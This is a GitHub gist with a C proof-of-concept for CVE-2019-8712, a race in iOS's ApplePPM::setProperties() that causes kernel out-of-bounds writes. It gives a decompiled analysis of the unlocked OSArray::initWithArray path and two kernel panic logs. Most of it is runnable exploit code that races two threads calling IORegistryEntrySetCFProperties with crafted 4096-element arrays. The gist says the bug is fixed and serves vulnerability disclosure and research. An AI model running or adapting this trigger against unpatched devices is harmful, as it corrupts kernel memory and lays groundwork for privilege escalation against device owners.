Skip to content

Instantly share code, notes, and snippets.

@ox1111
Forked from 0x36/ApplePPM_oobw.c
Created March 26, 2024 00:55
Show Gist options
  • Save ox1111/9286d166c184ff4e5b3d76a7a21ec929 to your computer and use it in GitHub Desktop.
Save ox1111/9286d166c184ff4e5b3d76a7a21ec929 to your computer and use it in GitHub Desktop.
ApplePPM::setProperties() OOB writes
#if 0
Fixed in iOS 13.0 with CVE-2019-8712.
ApplePPM::setProperties() : OSArray::initWithArray called without locks leads to OOB Writes
__thiscall ApplePPM::setProperties(ApplePPM *this,OSDictionary *param_1)
{
...
...
aKey = PTR_fffffff006fc3190[lVar7]; <--- takes a string key from an array
object = (*Dictionary->vtable->getObject)(Dictionary, aKey); <-- Dictionary is user controlled object
Array = (OSArray *)safeMetaCast(object,OSArray_metaClass);
i = 0
if (Array != NULL) {
iVar1 = (&DAT_fffffff006fc3188)[i]; <--- takes an integer
...
ApplePPMSystemCapabilityMonitor::setOverrideBatteryParameter
(this->anObject,iVar1,Array);
bVar2 = true;
}
...
}
void __thiscall
ApplePPMSystemCapabilityMonitor::setOverrideBatteryParameter
(ApplePPMSystemCapabilityMonitor *this,int param_1,OSArray *user_array)
{
OSArray *arr;
...
(*arr->vtable->initWithArray)(arr,user_array,0); <-- Initializes 'arr' with our user_array object
return;
}
There are two problems here : OSArray::initWithArray() leaks memory through 'array' member AND it’s not an ATOMIC operation and must held locks before calling it.
bool OSArray::initWithObjects(const OSObject *objects[],
unsigned int theCount,
unsigned int theCapacity)
{
unsigned int initCapacity;
if (!theCapacity)
initCapacity = theCount;
else if (theCount > theCapacity)
return false;
else
initCapacity = theCapacity;
if (!objects || !initWithCapacity(initCapacity))
return false;
for ( unsigned int i = 0; i < theCount; i++ ) { <— (1)
const OSMetaClassBase *newObject = *objects++;
if (!newObject)
return false;
array[count++] = newObject; <-- (2)
newObject->taggedRetain(OSTypeID(OSCollection));
}
return true;
}
(1) The loop relies on 'theCount' which is the user_array counting.
(2) 'count' is not atomic and can be raced
If we call ApplePPM::setProperties() just twice with a well crafter Array object, we can have a reliable arbitrary Out-Of-Bounds Writes
The race can be easily won by increasing the array capacity
here is a panic log using allocation in a large zone
The panic occurs here :
fffffff0075576d0 str w10, [x21, #0x14]
fffffff0075576d4 str x0, [x8, x9, LSL #0x3] <-- OOB write here
fffffff0075576d8 ldr x8, [x0]
fffffff0075576dc ldr x8, [x8, #0x48]
fffffff0075576e0 mov x1, x22
fffffff0075576e4 blr x8
Debugger synchronization timed out; waited 10000000 nanoseconds
panic(cpu 2 caller 0xfffffff025806ca4): Kernel data abort. (saved state: 0xffffffe04f863310)
x0: 0xffffffe0067feb20 x1: 0xfffffff025c66208 x2: 0x0000000000000000 x3: 0xffffffe03f64f900
x4: 0xffffffe03f63c080 x5: 0x0000000000000000 x6: 0x0000000000000001 x7: 0x0000000000000009
x8: 0xffffffe03f63c000 x9: 0x0000000000002801 x10: 0x0000000000002802 x11: 0x00000000ffdfffff
x12: 0x6000000000000000 x13: 0xfffffff025cae000 x14: 0x000000084be38000 x15: 0xffffffe00669a0f1
x16: 0x0000000000000001 x17: 0x0000000000000000 x18: 0xfffffff0256dd000 x19: 0x0000000000002728
x20: 0xffffffe03f538000 x21: 0xffffffe000967b10 x22: 0xfffffff025c66208 x23: 0x00000000000022ce
x24: 0xfffffff02450f568 x25: 0xffffffe000d64690 x26: 0x0000000000000040 x27: 0xfffffff0255c3188
x28: 0x0000000000000001 fp: 0xffffffe04f863690 lr: 0xfffffff025b576e8 sp: 0xffffffe04f863660
pc: 0xfffffff025b576d4 cpsr: 0x80400304 esr: 0x96000047 far: 0xffffffe03f650008
secure boot?: YES
Paniclog version: 11
Kernel slide: 0x000000001e600000
Kernel text base: 0xfffffff025604000
Epoch Time: sec usec
Boot : 0x5ce34e8a 0x0009e626
Sleep : 0x5ce3533e 0x00070576
Wake : 0x5ce35343 0x00053cec
Calendar: 0x5ce35389 0x000b7336
Panicked task 0xffffffe0016ec000: 593 pages, 6 threads: pid 680: multi
Panicked thread: 0xffffffe0019d9a40, backtrace: 0xffffffe04f862b30, tid: 11006
lr: 0xfffffff0258075c8 fp: 0xffffffe04f862c70
lr: 0xfffffff0256dd610 fp: 0xffffffe04f862c80
lr: 0xfffffff0257120d4 fp: 0xffffffe04f862ff0
lr: 0xfffffff02571244c fp: 0xffffffe04f863030
lr: 0xfffffff0257122a0 fp: 0xffffffe04f863050
lr: 0xfffffff025806ca4 fp: 0xffffffe04f8631b0
lr: 0xfffffff025807cd0 fp: 0xffffffe04f8632f0
lr: 0xfffffff0256dd610 fp: 0xffffffe04f863300
lr: 0xfffffff025b576d4 fp: 0xffffffe04f863690
lr: 0xfffffff02527f5d0 fp: 0xffffffe04f8636c0
lr: 0xfffffff025277e10 fp: 0xffffffe04f8637a0
lr: 0xfffffff025bf1bb8 fp: 0xffffffe04f863800
lr: 0xfffffff0257da628 fp: 0xffffffe04f863830
lr: 0xfffffff0256f6174 fp: 0xffffffe04f8639c0
lr: 0xfffffff0257084a0 fp: 0xffffffe04f863b40
lr: 0xfffffff025807d70 fp: 0xffffffe04f863c80
lr: 0xfffffff0256dd610 fp: 0xffffffe04f863c90
lr: 0x0000000237133ea4 fp: 0x0000000000000000
Another kernel panic log in small memory zone :
"panicString" : "panic(cpu 3 caller 0xfffffff01ff5805c): \"a freed zone element has been modified in zone kalloc.576: expected 0xc0ffee0278f33d10 but found 0xffffffe005a50720, bits changed 0x3f0011e27d563a30, at offset 0 of 576 in element 0xffffffe0020c3840, cookies 0x3f0011e27aff32d0 0x535219d00ce6bc1\"
Debugger message: panic
secure boot?: YES
Paniclog version: 11
Kernel slide: 0x0000000018e00000
Kernel text base: 0xfffffff01fe04000
Epoch Time: sec usec
Boot : 0x5ce37b3a 0x00002123
Sleep : 0x5ce37b54 0x00093657
Wake : 0x5ce37b56 0x000ee83b
Calendar: 0x5ce37c68 0x000b0018
Panicked task 0xffffffe0040832a0: 364 pages, 3 threads: pid 1330: multi
Panicked thread: 0xffffffe0041eb480, backtrace: 0xffffffe04a3a2e20, tid: 10931
lr: 0xfffffff0200075c8 fp: 0xffffffe04a3a2f60
lr: 0xfffffff01fedd610 fp: 0xffffffe04a3a2f70
lr: 0xfffffff01ff120d4 fp: 0xffffffe04a3a32e0
lr: 0xfffffff01ff1244c fp: 0xffffffe04a3a3320
lr: 0xfffffff01ff122a0 fp: 0xffffffe04a3a3340
lr: 0xfffffff01ff5805c fp: 0xffffffe04a3a33e0
lr: 0xfffffff01ff57994 fp: 0xffffffe04a3a3470
lr: 0xfffffff01ff56bb8 fp: 0xffffffe04a3a35e0
lr: 0xfffffff01ff1ac14 fp: 0xffffffe04a3a3630
lr: 0xfffffff020357618 fp: 0xffffffe04a3a3670
lr: 0xfffffff0203583cc fp: 0xffffffe04a3a3690
lr: 0xfffffff020378e70 fp: 0xffffffe04a3a37a0
lr: 0xfffffff0203f1b28 fp: 0xffffffe04a3a3800
lr: 0xfffffff01ffda628 fp: 0xffffffe04a3a3830
lr: 0xfffffff01fef6174 fp: 0xffffffe04a3a39c0
lr: 0xfffffff01ff084a0 fp: 0xffffffe04a3a3b40
lr: 0xfffffff020007d70 fp: 0xffffffe04a3a3c80
lr: 0xfffffff01fedd610 fp: 0xffffffe04a3a3c90
#endif
#include <stdio.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <stdlib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <pthread.h>
#define self mach_task_self()
#define CHECK_MACH_ERR(kr,name) do { \
if (kr != KERN_SUCCESS) { \
printf("%s : %s (0x%x)\n", \
name,mach_error_string(kr),kr); \
exit(1);} \
}while(0);
#define NAME "ApplePPM"
// IOKIT
typedef mach_port_t io_connect_t;
typedef mach_port_t io_service_t;
typedef mach_port_t io_iterator_t;
typedef mach_port_t io_object_t;
typedef mach_port_t io_registry_entry_t;
typedef char io_name_t[128];
#define IO_OBJECT_NULL 0
extern const mach_port_t kIOMasterPortDefault;
kern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt);
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type,io_connect_t *connect);
boolean_t IOIteratorIsValid(io_iterator_t iterator);
io_object_t IOIteratorNext(io_iterator_t iterator);
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);
kern_return_t IOServiceGetMatchingServices(mach_port_t masterPort, CFDictionaryRef matching, io_iterator_t *existing);
kern_return_t IOServiceClose(io_connect_t connect);
uint32_t IOObjectGetRetainCount(io_object_t object);
uint32_t IOObjectGetKernelRetainCount(io_object_t object);
uint32_t IOObjectGetRetainCount(io_object_t object);
kern_return_t io_object_get_retain_count(mach_port_t object,uint32_t *retainCount);
kern_return_t IOObjectRelease(io_object_t object);
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);
CFMutableDictionaryRef IOServiceMatching(const char *name);
kern_return_t iokit_iterate_all(io_connect_t * conn_out);
kern_return_t iokit_get_connection(const char *service_name,io_connect_t *conn);
io_connect_t cc = 0;
io_service_t service = 0;
kern_return_t iokit_get_service(const char *service_name,io_service_t *service)
{
kern_return_t kr = KERN_SUCCESS;
*service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(service_name));
if (service == IO_OBJECT_NULL) {
printf("unable to find service \n");
exit(0);
}
return kr;
}
CFDictionaryRef prepare_array_with_size(CFIndex capacity)
{
#define SET "BaselineSystemCapability"
CFMutableDictionaryRef Dict = CFDictionaryCreateMutable(NULL,0x10000,&kCFTypeDictionaryKeyCallBacks,&kCFTypeDictionaryValueCallBacks);
CFStringRef str = NULL;
char *buf = malloc(1000);
memset(buf,0xcc,1000);
CFDataRef Data = CFDataCreate(NULL,(const UInt8 *)buf,1000);
const char *keys[] = {
"BaselineSystemCapability",
"OverrideSystemCapability",
"OverrideBatteryInputRaTable",
"OverrideBatteryInputTimeScales",
"OverrideBatteryInputSystemLoadPower"
};
printf("Array with size %x \n",(uint32_t)capacity);
CFMutableArrayRef Array = CFArrayCreateMutable(NULL , capacity, &kCFTypeArrayCallBacks);
for(int i=0;i < capacity; i++) {
uint32_t val = 0x41414141;
CFNumberRef num = CFNumberCreate(NULL, 32, &val);
CFArrayAppendValue(Array, num);
CFRelease(num);
}
str = CFStringCreateWithCString(0,"OverrideBatteryInputSystemLoadPower",kCFStringEncodingUTF8);
CFDictionaryAddValue(Dict,str,Array);
return Dict;
}
void setProperties(CFDictionaryRef Dict)
{
kern_return_t kr = IORegistryEntrySetCFProperties(service,Dict);
printf("IORegistryEntrySetCFProperties kr=%x %s\n",
kr,mach_error_string(kr));
}
void *start_thread(void *dict)
{
setProperties((CFDictionaryRef)dict);
return NULL;
}
int do_poc(int argc,char **argv)
{
pthread_t tids[2] = {0};
iokit_get_service(NAME, &service);
printf("service : %x \n",service);
struct threads *s1,*s2,*s3,*s4;
CFDictionaryRef dict1 = prepare_array_with_size(0x1000);
CFDictionaryRef dict2 = prepare_array_with_size(0x1000);
uint64_t *ptr[2] = {dict1,dict2};
for(int i=0; i< 2; i++)
pthread_create(&tids[i],NULL,start_thread,ptr[i]);
for(int i=0; i< 2; i++)
pthread_join(tids[i],NULL);
return 0;
}
int main(int argc,char **argv)
{
do_poc(argc,argv);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment